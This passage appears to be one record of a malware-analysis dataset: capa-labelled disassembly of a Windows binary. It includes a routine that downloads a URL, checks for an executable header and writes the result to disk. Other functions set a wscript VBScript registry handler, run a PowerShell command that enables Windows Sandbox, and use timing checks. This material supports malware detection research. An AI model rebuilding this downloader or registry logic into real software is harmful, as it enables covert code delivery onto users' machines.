joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b820
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x8a8
mov qword [rsp + 0x880], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x888], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 1
mov byte [rsp + 0x70], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x58], rax
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.MSIE_6.0
call qword [rsp + 0x68]
mov qword [rsp + 0x880], rax
cmp qword [rsp + 0x880], 0
jne 0x14000b8d7
cmp qword [rsp + 0x58], 0
je 0x14000b8d0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000ba8a
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rsp + 0x880]
call qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x14000b940
cmp qword [rsp + 0x58], 0
je 0x14000b939
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000ba8a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x8b8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
je 0x14000ba3b
mov r8d, 0x800
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.1400335a0
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x890], rax
lea r9, [rsp + 0x888]
mov r8d, 0x800
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x890]
cmp dword [rsp + 0x44], 0
je 0x14000b9f1
movzx eax, word [rsp + 0x80]
cmp eax, 0x5a4d
je 0x14000b9f1
mov byte [rsp + 0x70], 0
jmp 0x14000ba30
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x888]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x888], 0
ja 0x14000b983
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x48]
mov rcx, qword [rsp + 0x880]
call qword [rsp + 0x48]
cmp qword [rsp + 0x58], 0
je 0x14000ba85
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, byte [rsp + 0x70]
add rsp, 0x8a8
ret
Function at 0x14000baa0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000baca
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14000baca
xor eax, eax
jmp 0x14000bacf
mov eax, 1
add rsp, 0x28
ret
Function at 0x14000dae0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx]
movzx ecx, word [rcx + 0x14]
lea rax, [rax + rcx + 0x18]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x30], 0
jmp 0x14000db4f
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x50]
add rax, 0x28
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x30], eax
jge 0x14000dd10
mov rax, qword [rsp + 0x50]
cmp dword [rax + 0x10], 0
jne 0x14000dc31
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jle 0x14000dc2c
movsxd rax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x88]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [rsp + 0x88]
call qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000dbe8
xor eax, eax
jmp 0x14000dd15
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 8], eax
movsxd rax, dword [rsp + 0x40]
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.1400335a0
jmp 0x14000db37
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x50]
add eax, dword [rcx + 0x10]
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x78]
call fcn.14000daa0
test eax, eax
jne 0x14000dc5a
xor eax, eax
jmp 0x14000dd15
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x88]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
mov rax, qword [rsp + 0x88]
call qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000dcb0
xor eax, eax
jmp 0x14000dd15
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x38]
call fcn.140032f70
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 8], eax
jmp 0x14000db37
mov eax, 1
add rsp, 0x68
ret
Function at 0x14000f0d0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x148]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x60]
add rax, 0x150
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x60]
add rax, 0x138
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.1400092a0
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x360], eax
mov rax, qword [rsp + 0x60]
movsxd rax, dword [rax + 0x360]
mov rcx, qword [rsp + 0x60]
add rcx, 0x160
mov rdx, qword [rsp + 0x60]
add rdx, 0x160
mov qword [rsp + 0x38], rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0x38]
mov rcx, rax
call fcn.140032f70
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x360]
add eax, 8
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x364], eax
mov rax, qword [rsp + 0x60]
add rax, 0x370
mov rcx, rax
call fcn.140009250
add rax, 8
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov word [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
movzx r8d, word [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
call qword [rax]
mov dword [rsp + 0x34], eax
mov edx, 0xfa0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x14000f25a
cmp dword [rsp + 0x48], 0x102
je 0x14000f2e5
cmp dword [rsp + 0x48], 0xffffffff
je 0x14000f2fd
jmp 0x14000f313
mov rax, qword [rsp + 0x60]
add rax, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x138]
mov rax, qword [rax + 0x140]
sub rax, rcx
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
mov rax, qword [rsp + 0x60]
pxor xmm1, xmm1
cvtsi2sd xmm1, qword [rax + 0x130]
divsd xmm1, qword [0x140056738]
divsd xmm0, xmm1
mov rax, qword [rsp + 0x60]
movsd qword [rax + 0x128], xmm0
mov rax, qword [rsp + 0x60]
add rax, 0x150
mov ecx, 1
xchg dword [rax], ecx
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, 1
jmp 0x14000f315
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14000f315
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14000f315
xor al, al
add rsp, 0x58
ret
Function at 0x140010790
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0xffffffffffffffff
jne 0x1400107bf
xor al, al
jmp 0x14001083d
mov dword [rsp + 0x20], 0x238
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x260]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x1400107ef
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x14001083d
lea rdx, [rsp + 0x4c]
mov rcx, qword [rsp + 0x280]
call fcn.140012b50
test eax, eax
jne 0x140010817
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14001083d
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x260]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400107ef
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add rsp, 0x278
ret

Function at 0x140010850
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x78
call fcn.14000ff80
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x140056f30]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140010894
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400109b5
lea r8, [rsp + 0x50]
lea rdx, [0x140056f40]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rax, [0x140056f50]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x60]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x60]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x20], gethostbyname
lea r9, str.VMware
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
lea r8, [rsp + 0x40]
lea rdx, [0x140056f88]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea r8, [rsp + 0x30]
lea rdx, [0x140056f98]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea r8, [rsp + 0x48]
lea rdx, [0x140056fa8]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rax, str.wscript.exe___E:vbscript___1_
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x58]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x78
ret
Function at 0x1400109c0
Capabilities:
Move file

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
call fcn.14000ff80
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
add rsp, 0x28
ret
Function at 0x1400116c0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x148
mov qword [rsp + 0x130], 0xfffffffffffffffe
lea rdx, str.vmcompute.exe
lea rcx, [rsp + 0x108]
call fcn.140012ab0
nop
lea rcx, [rsp + 0x108]
call fcn.140010790
mov byte [rsp + 0x100], al
lea rcx, [rsp + 0x108]
call fcn.140003170
movzx eax, byte [rsp + 0x100]
test eax, eax
je 0x14001171f
call fcn.14000ff80
jmp 0x14001184d
call fcn.14000ff80
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x90]
call fcn.1400335a0
mov dword [rsp + 0x90], WSASetLastError
mov dword [rsp + 0xcc], 1
xor eax, eax
mov word [rsp + 0xd0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.1400335a0
lea rdx, str.powershell.exe_Enable_WindowsOptionalFeature__FeatureName__Containers_DisposableClientVM___All__Online
lea rcx, [rsp + 0x50]
call fcn.140012ab0
nop
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140012b20
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140011802
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011843
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x138], eax
lea rdx, str.Error_code:
lea rcx, [0x14006e9e0]
call fcn.14001b010
mov ecx, dword [rsp + 0x138]
mov edx, ecx
mov rcx, rax
call fcn.1400123f0
lea rdx, [0x140011860]
mov rcx, rax
call fcn.1400123d0
nop
lea rcx, [rsp + 0x50]
call fcn.140003170
add rsp, 0x148
ret
Function at 0x140011890
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1538
call fcn.140035b50
sub rsp, rax
mov qword [rsp + 0x1510], 0xfffffffffffffffe
mov dword [rsp + 0x1508], 0
call fcn.14000ff80
lea rdx, [0x140056f23]
lea rcx, [rsp + 0x14e0]
call fcn.140012300
nop
lea rdx, [rsp + 0x14e0]
lea rcx, [rsp + 0x13c0]
call fcn.140011ac0
nop
lea rcx, [rsp + 0x14e0]
call fcn.1400030c0
lea rcx, [rsp + 0x13c0]
call fcn.140011af0
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140014330
mov r8d, reloc.WS2_32.dll_ntohs
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140014380
mov r8d, 1
mov edx, 3
lea rcx, [rsp + 0x13d0]
call fcn.1400143b0
nop
mov dword [rsp + 0x14d0], 0
jmp 0x140011963
mov eax, dword [rsp + 0x14d0]
inc eax
mov dword [rsp + 0x14d0], eax
cmp dword [rsp + 0x14d0], 0x20
jge 0x140011a73
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.14001b400
mov dword [rsp + 0x14d4], eax
cmp dword [rsp + 0x14d4], 0xa
jge 0x1400119a4
mov eax, dword [rsp + 0x14d4]
add eax, 0x30
mov dword [rsp + 0x1518], eax
jmp 0x1400119b5
mov eax, dword [rsp + 0x14d4]
add eax, 0x57
mov dword [rsp + 0x1518], eax
movzx eax, byte [rsp + 0x1518]
mov byte [rsp + 0x14d8], al
lea rax, [rsp + 0x13d0]
test rax, rax
je 0x1400119e7
lea rax, [rsp + 0x13d0]
add rax, 0x10
mov qword [rsp + 0x1520], rax
jmp 0x1400119f3
mov qword [rsp + 0x1520], 0
movzx edx, byte [rsp + 0x14d8]
mov rcx, qword [rsp + 0x1520]
call fcn.14001b440
cmp dword [rsp + 0x14d0], 7
je 0x140011a30
cmp dword [rsp + 0x14d0], 0xb
je 0x140011a30
cmp dword [rsp + 0x14d0], 0xf
je 0x140011a30
cmp dword [rsp + 0x14d0], 0x13
jne 0x140011a6e
lea rax, [rsp + 0x13d0]
test rax, rax
je 0x140011a53
lea rax, [rsp + 0x13d0]
add rax, 0x10
mov qword [rsp + 0x1528], rax
jmp 0x140011a5f
mov qword [rsp + 0x1528], 0
mov dl, 0x2d
mov rcx, qword [rsp + 0x1528]
call fcn.14001b440
jmp 0x140011953
mov rdx, qword [rsp + 0x1540]
lea rcx, [rsp + 0x13d0]
call fcn.1400144e0
mov eax, dword [rsp + 0x1508]
or eax, 1
mov dword [rsp + 0x1508], eax
lea rcx, [rsp + 0x13d0]
call fcn.140011b10
mov rax, qword [rsp + 0x1540]
add rsp, 0x1538
ret
Function at 0x140012280
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
call fcn.1400121b0
call fcn.140010640
call fcn.14000ff80
call fcn.140011b50
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140010050]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x30], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140017e20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
je 0x140017e5d
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x8a]
test eax, eax
jne 0x140017e69
mov al, 1
jmp 0x1400180d8
mov dword [rsp + 0x30], 8
call fcn.140012f20
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx]
mov qword [rsp + 0xa8], rcx
movzx edx, ax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xa8]
call qword [rax + 0x18]
mov word [rsp + 0x70], ax
call fcn.140012f20
mov word [rsp + 0x72], ax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x72]
call fcn.140012fe0
movzx eax, al
test eax, eax
je 0x140017ecb
xor al, al
jmp 0x1400180d8
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140006de0
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140006e50
mov rcx, rax
call fcn.14000be90
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x40]
call fcn.140006e90
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140006e50
mov rcx, rax
call fcn.14000be90
mov rcx, qword [rsp + 0xe0]
add rcx, 0x8c
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0xb8]
mov r9, rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax + 0x80]
call fcn.1400072a0
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0
je 0x140017fa3
cmp dword [rsp + 0xc0], 1
je 0x140017fb2
cmp dword [rsp + 0xc0], 3
je 0x140018090
jmp 0x1400180ac
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x8a], 0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.140006e50
mov rcx, rax
call fcn.14000be90
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jbe 0x140018045
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140006e50
mov rcx, rax
call fcn.14000be90
mov rcx, qword [rsp + 0xe0]
mov r9, qword [rcx + 0x98]
mov r8, qword [rsp + 0x68]
mov edx, 1
mov rcx, rax
call fcn.140034720
cmp qword [rsp + 0x68], rax
je 0x140018045
mov byte [rsp + 0x98], 0
lea rcx, [rsp + 0x40]
call fcn.1400030c0
movzx eax, byte [rsp + 0x98]
jmp 0x1400180d8
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x8a]
test eax, eax
jne 0x140018074
mov byte [rsp + 0x99], 1
lea rcx, [rsp + 0x40]
call fcn.1400030c0
movzx eax, byte [rsp + 0x99]
jmp 0x1400180d8
cmp qword [rsp + 0x68], 0
jne 0x14001808e
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140005ae0
jmp 0x1400180c8
mov byte [rsp + 0x9a], 1
lea rcx, [rsp + 0x40]
call fcn.1400030c0
movzx eax, byte [rsp + 0x9a]
jmp 0x1400180d8
mov byte [rsp + 0x9b], 0
lea rcx, [rsp + 0x40]
call fcn.1400030c0
movzx eax, byte [rsp + 0x9b]
jmp 0x1400180d8
jmp 0x140017ede
add rsp, 0xd8
ret
Function at 0x140020d60
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140020d82
mov rcx, qword [rsp + 0x40]
call fcn.140021000
jmp 0x140020d99
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140020d99
mov rcx, qword [rsp + 0x40]
call fcn.140020e30
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140020e30
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp], 0
jmp 0x140020e4a
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0xe3
jge 0x140020edc
mov eax, dword [rsp]
add eax, 0x270
cdqe
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov ecx, dword [rsp]
add ecx, 0x271
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx*4 + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x140020ea3
mov dword [rsp + 0x10], 0x9908b0df
jmp 0x140020eab
mov dword [rsp + 0x10], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0x10]
mov ecx, dword [rsp]
add ecx, 0x3fd
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
xor eax, dword [rdx + rcx*4 + 4]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx*4 + 4], eax
jmp 0x140020e42
jmp 0x140020ee6
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x26f
jge 0x140020f78
mov eax, dword [rsp]
add eax, 0x270
cdqe
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov ecx, dword [rsp]
add ecx, 0x271
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx*4 + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
and eax, 1
test eax, eax
je 0x140020f3f
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x140020f47
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0xc]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov ecx, dword [rsp]
sub ecx, 0xe3
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
xor eax, dword [rdx + rcx*4 + 4]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx*4 + 4], eax
jmp 0x140020ede
mov eax, dword [rsp]
add eax, 0x270
cdqe
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
and eax, 1
test eax, eax
